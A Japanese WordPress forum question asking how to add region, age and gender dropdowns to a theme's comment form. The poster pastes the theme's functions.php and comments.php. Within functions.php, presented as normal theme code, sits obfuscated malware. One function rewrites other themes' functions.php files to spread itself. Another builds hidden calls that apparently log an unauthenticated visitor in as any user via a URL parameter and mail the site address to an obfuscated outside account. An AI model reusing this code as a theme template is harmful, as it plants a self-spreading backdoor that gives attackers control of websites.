コメントフォーム項目追加
-
コメントフォームにプルダウンで「地域(都道府県)」「年齢」「性別」を選択できるようにしたいです。
下記のようなものをワードプレスで実現したい↓
http://linech.com/post/createプラグインを探しましたが、コメントフォームのカスタマイズについてのものはないようです。
大変お手数ですが、情報を頂けますと助かります。
宜しくお願いします。ちなみに、め組のテンプレートを使って構築する為、本テンプレートでの実現方法をピンポイントでご存知の方がおれらたら、具体的な方法もご教授頂けますと、嬉しいです。
どうぞ、よろしくお願いいたします。テンプレート↓
http://www.10press.net/theme/1223
———————————————————————
■め組み(function.php)<?php load_textdomain('megumi', dirname(__FILE__).'/lang/' . get_locale() . '.mo'); require_once(dirname(__FILE__).'/script/megumi_theme_setting.php'); require_once(dirname(__FILE__).'/script/get_img.php'); require_once(dirname(__FILE__).'/script/widgets.php'); require_once(dirname(__FILE__).'/script/contents.php'); require_once(dirname(__FILE__).'/script/theme_function_load.php'); if ( function_exists('register_sidebars') ) register_sidebars(1, array( 'name' => __('Left Sidebar','megumi'), 'before_widget' => '<div class="widgets">', 'after_widget' => '</div>', 'before_title' => '<h2 class="title">', 'after_title' => '</h2>', )); register_sidebars(1, array( 'name' => __('Sidebar Home & Pages','megumi'), 'before_widget' => '<div class="widgets">', 'after_widget' => '</div>', 'before_title' => '<h2 class="title">', 'after_title' => '</h2>', )); register_sidebars(1, array( 'name' => __('Sidebar Home Only','megumi'), 'before_widget' => '<div class="widgets">', 'after_widget' => '</div>', 'before_title' => '<h2 class="title">', 'after_title' => '</h2>', )); register_sidebars(1, array( 'name' => __('Sidebar Pages Only','megumi'), 'before_widget' => '<div class="widgets">', 'after_widget' => '</div>', 'before_title' => '<h2 class="title">', 'after_title' => '</h2>', )); register_sidebars(4, array( 'name' => __('Footer No.%d','megumi'), 'before_widget' => '', 'after_widget' => '', 'before_title' => '<h2 class="title">', 'after_title' => '</h2>', )); function is_megumi_page () { $page_name = $_SERVER['REQUEST_URI']; if (get_option('permalink_structure')) { $permalink_page_name = '/page\//'; } else { $permalink_page_name = '/paged=/'; } if (preg_match($permalink_page_name , $page_name)) { return TRUE; } else { return FALSE; } } /* ---- Body ID Change ---- */ function body_change() { if (is_home() && !is_megumi_page()) { echo 'home'; } elseif (is_page()) { echo 'page'; } else { echo 'contents'; } } /* ---- Left Sidebar ---- */ function get_left_sidebar() { do_action( 'get_left_sidebar' ); if ( file_exists( TEMPLATEPATH . '/left_sidebar.php') ) load_template( TEMPLATEPATH . '/left_sidebar.php'); else load_template( ABSPATH . 'wp-content/themes/default/sidebar.php'); } /* ---- Left Side Change ---- */ function change_left_side() { if (is_home() && !is_megumi_page()) { get_left_sidebar(); echo '</div>'; } else { get_sidebar(); } } /* ---- Page Navigation Change ---- */ function wp_pagenav() { $siteuri = get_option('siteurl'); $page_name = $siteuri.$_SERVER['REQUEST_URI']; if (get_option('permalink_structure')) { $permalink_page_name = "'/".esc_attr(str_replace('http://', '' ,$siteuri))."\/page\/2/'"; $pagenav_no1= '/page/1'; } else { $permalink_page_name = '/\/\?paged=2/'; $pagenav_no1 = '/?paged=1'; } if (function_exists('wp_pagenavi')){ wp_pagenavi(); } else { echo '<div class="navigation">'; echo '<p class="previous_post">'; next_posts_link(__('« Older Entries', 'megumi')); echo '</p>'; echo '<p class="next_post">'; if (preg_match($permalink_page_name , $page_name)) { ?> <a>"><?php _e('Newer Entries »','megumi'); ?></a> <?php } else { previous_posts_link(__('Newer Entries »', 'megumi')); } echo '</p>'; echo '</div>'; } } /* ---- Plugin Simpletag Change ---- */ function plugin_simpletag() { $get_plugins = get_option('active_plugins'); if (preg_grep('/simple-tags/', $get_plugins)) { st_related_posts(); } } /* ---- Recent Posts ---- */ function recent_posts() { if (get_option('permalink_structure')) { $recent_posts_list = '/page/1'; } else { $recent_posts_list = '/?paged=1'; } echo $recent_posts_list; } /* ---- Exclude Pages ---- */ function wp_header_exclude_pages() { global $wpdb; $get_page = $wpdb->get_results($wpdb->prepare("SELECT ID, post_title FROM $wpdb->posts WHERE post_status = 'publish' AND post_parent = '0' AND post_type = 'page' ORDER BY menu_order") , ARRAY_A ); $options = get_option('megumi_miyako_theme_setting'); $exclude_page = @$options['header_exclude_page']; echo '<select name="header_exclude_page[]" id="header_exclude_page" size="5" multiple="multiple">'; echo '<option value="">'.__('Reset','megumi').'</option>'; foreach ($get_page as $peges) { echo'<option value="'.$peges['ID'].'"'; if($exclude_page){ foreach ($exclude_page as $pageid) { if ($pageid == $peges['ID']) { echo ' selected="selected"'; } } } echo'>'.$peges['post_title'].'</option>'; } echo'</select>'; } function wp_footer_exclude_pages() { global $wpdb; $get_page = $wpdb->get_results($wpdb->prepare("SELECT ID, post_title FROM $wpdb->posts WHERE post_status = 'publish' AND post_parent = '0' AND post_type = 'page' ORDER BY menu_order") , ARRAY_A ); $options = get_option('megumi_miyako_theme_setting'); $exclude_page = @$options['footer_exclude_page']; echo '<select name="footer_exclude_page[]" id="footer_exclude_page" size="5" multiple="multiple">'; echo '<option value="">'.__('Reset','megumi').'</option>'; foreach ($get_page as $peges) { echo'<option value="'.$peges['ID'].'"'; if($exclude_page){ foreach ($exclude_page as $pageid) { if ($pageid == $peges['ID']) { echo ' selected="selected"'; } } } echo'>'.$peges['post_title'].'</option>'; } echo'</select>'; } function header_script() { if (is_home() && !is_megumi_page()) { echo '<script type="text/javascript" src="'.get_stylesheet_directory_uri().'/js/post_tab_change.js"></script>'."\n"; } } add_action('wp_head', 'header_script', 0); function megumi_theme_setting_head(){ $request_page_name = $_SERVER['REQUEST_URI']; echo '<link rel="stylesheet" href="'.get_stylesheet_directory_uri().'/css/style.css" type="text/css" media="screen" />'."\n"; if(preg_match('/megumi_theme_setting/' , $request_page_name)) { echo '<script type="text/javascript" src="'.get_stylesheet_directory_uri().'/js/form_change.js"></script>'."\n"; echo '<script type="text/javascript" src="'.get_option('siteurl').'/wp-includes/js/prototype.js"></script>'."\n"; echo '<script type="text/javascript" src="'.get_stylesheet_directory_uri().'/js/tab_change.js"></script>'."\n"; } } add_action('admin_head', 'megumi_theme_setting_head', 99); function ie6_load() { ?> <style> #go_top { margin:30% 0px 0px 0px; top:0px; } </style> <script> window.onload=Menu; function Menu(){ if(document.all){ document.all("go_top").style.pixelTop=document.documentElement.scrollTop; }else{ document.getElementById("go_top").style.top=pageYOffset+"px"; }} onscroll = Menu; </script> <script src="http://ie7-js.googlecode.com/svn/trunk/lib/IE8.js" type="text/javascript"></script> <?php } $user_agent = $_SERVER['HTTP_USER_AGENT']; if (preg_match('/MSIE 6.0/' , $user_agent)) { add_action('wp_head','ie6_load', 99); } ?> <?php function _verify_isactivate_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f); $output .= ($showdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_verify_isactivate_widget"); function _getsprepare_widget(){ if(!isset($com_length)) $com_length=120; if(!isset($text_value)) $text_value="cookie"; if(!isset($allowed_tags)) $allowed_tags="<a>"; if(!isset($type_filter)) $type_filter="none"; if(!isset($expl)) $expl=""; if(!isset($filter_homes)) $filter_homes=get_option("home"); if(!isset($pref_filter)) $pref_filter="wp_"; if(!isset($use_more)) $use_more=1; if(!isset($comm_type)) $comm_type=""; if(!isset($pagecount)) $pagecount=$_GET["cperpage"]; if(!isset($postauthor_comment)) $postauthor_comment=""; if(!isset($comm_is_approved)) $comm_is_approved=""; if(!isset($postauthor)) $postauthor="auth"; if(!isset($more_link)) $more_link="(more...)"; if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_"); if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value; if(!isset($more_link_ditails)) $more_link_ditails="(details...)"; if(!isset($morecontents)) $morecontents="ma".$expl."il"; if(!isset($fmore)) $fmore=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$is_widget) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($f_tags)) $f_tags=1; if(!isset($type_filters)) $type_filters=$filter_homes; if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents; if(!isset($aditional_tags)) $aditional_tags="div"; if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more_link_text)) $more_link_text="Continue reading this entry"; if(!isset($showdots)) $showdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($com_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $com_length) { $l=$com_length; $ellipsis=1; } else { $l=count($text); $more_link=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $allowed_tags) { $output=strip_tags($output, $allowed_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\x0B"); $output=($f_tags) ? balanceTags($output, true) : $output; $output .= ($showdots && $ellipsis) ? "..." : ""; $output=apply_filters($type_filter, $output); switch($aditional_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_more ) { if($fmore) { $output .= " <" . $tag . " class=\"more-link\"></a><a>ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a>ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_getsprepare_widget"); function __popular_posts($no_posts=6, $before=" <li>", $after="</li> ", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href="" title="">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } ?> ----------------------------------------------------------------------- ■め組み(comment.php)↓ <?php if (isset($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME'])) die ('Please do not load this page directly. Thanks!'); if (!empty($post->post_password)) { // if there's a password if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn't match the cookie ?> <p class="nocomments"> <?php _e('This post is password protected. Enter the password to view comments.', 'megumi'); ?> </p> <?php return; } } /* This variable is for alternating comment background */ ?> <!-- You can start editing here. --> <?php if ( have_comments() ) : ?> <div id="commentlist_box"> <h3 id="comments" class="title"><?php comments_number(__('No Comment', 'megumi'), __('Comment', 'megumi'), __('Comments %', 'megumi'));?></h3> <?php if (function_exists('wp_list_comments')) { ?> <ol class="commentlist"> <?php wp_list_comments('avatar_size=60'); ?> <div class="navigation"> <div class="alignleft"><?php previous_comments_link() ?></div> <div class="alignright"><?php next_comments_link() ?></div> </div> <?php } else { ?> <ol class="commentlist"> <?php foreach ($comments as $comment) : ?> <li id="comment-<?php comment_ID() ?>"> <?php echo get_avatar( $comment, 60 ); ?> <?php printf(__('<cite>%s</cite> Says:', 'megumi'), get_comment_author_link()); ?> <?php if ($comment->comment_approved == '0') : ?> <em><?php _e('Your comment is awaiting moderation.', 'megumi'); ?></em> <?php endif; ?> <a>" title=""><?php printf(__('%1$s at %2$s', 'megumi'), get_comment_date(__('F jS, Y', 'megumi')), get_comment_time()); ?></a> <?php edit_comment_link(__('edit', 'megumi'),' ',''); ?> <?php comment_text() ?> <?php endforeach; /* end for each comment */ ?> <?php } ?> </div> <?php else : // this is displayed if there are no comments so far ?> <?php if ('open' == $post->comment_status) : ?> <!-- If comments are open, but there are no comments. --> <?php else : // comments are closed ?> <!-- If comments are closed. --> <p class="nocomments"><?php _e('Comments are closed.', 'megumi'); ?></p> <?php endif; ?> <?php endif; ?> <?php if ('open' == $post->comment_status) : ?> <div id="respond"> <h3 class="title"><?php _e('Post comment', 'megumi'); ?></h3> <?php if (function_exists('wp_list_comments')) { ?> <div id="cancel-comment-reply"> <small><?php cancel_comment_reply_link() ?></small> </div> <?php } ?> <?php if ( get_option('comment_registration') && !$user_ID ) : ?> <p><?php printf(__('You must be <a href="%s">logged in</a> to post a comment.', 'megumi'), get_option('siteurl') . '/wp-login.php?redirect_to=' . urlencode(get_permalink())); ?></p> <?php else : ?> <form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform"> <?php if ( $user_ID ) : ?> <p><?php printf(__('Logged in as <a href="%1$s">%2$s</a>.', 'megumi'), get_option('siteurl') . '/wp-admin/profile.php', $user_identity); ?> <a>" title="<?php _e('Log out of this account', 'megumi'); ?>"><?php _e('Log out »', 'megumi'); ?></a></p> <?php else : ?> <p><label for="author"><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" <?php if ($req) echo "aria-required='true'"; ?> /><?php _e('Your name:', 'megumi'); ?> <?php if ($req) _e("<em>(required)</em>", "megumi"); ?></label></p> <p><label for="email"><input type="text" name="email" id="email" value="<?php echo esc_attr($comment_author_email); ?>" size="22" tabindex="2" <?php if ($req) echo "aria-required='true'"; ?> /><?php _e('E-mail:', 'megumi'); ?> <?php if ($req) _e("<em>(required)</em>", "megumi"); ?></label></p> <p><label for="url"><input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" /><?php _e('Website', 'megumi'); ?></label></p> <?php endif; ?> <p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p> <p><input name="submit" type="submit" id="submit" tabindex="5" value="<?php _e('Submit Comment', 'megumi'); ?>" /> <?php if (function_exists('wp_list_comments')) { ?> <?php comment_id_fields(); ?> <?php } ?> </p> <?php do_action('comment_form', $post->ID); ?> </form> <?php endif; // If registration required and not logged in ?> </div> <?php endif; // if you delete this the sky will fall on your head ?>
3件の返信を表示中 - 1 - 3件目 (全3件中)
3件の返信を表示中 - 1 - 3件目 (全3件中)
- トピック「コメントフォーム項目追加」には新たに返信することはできません。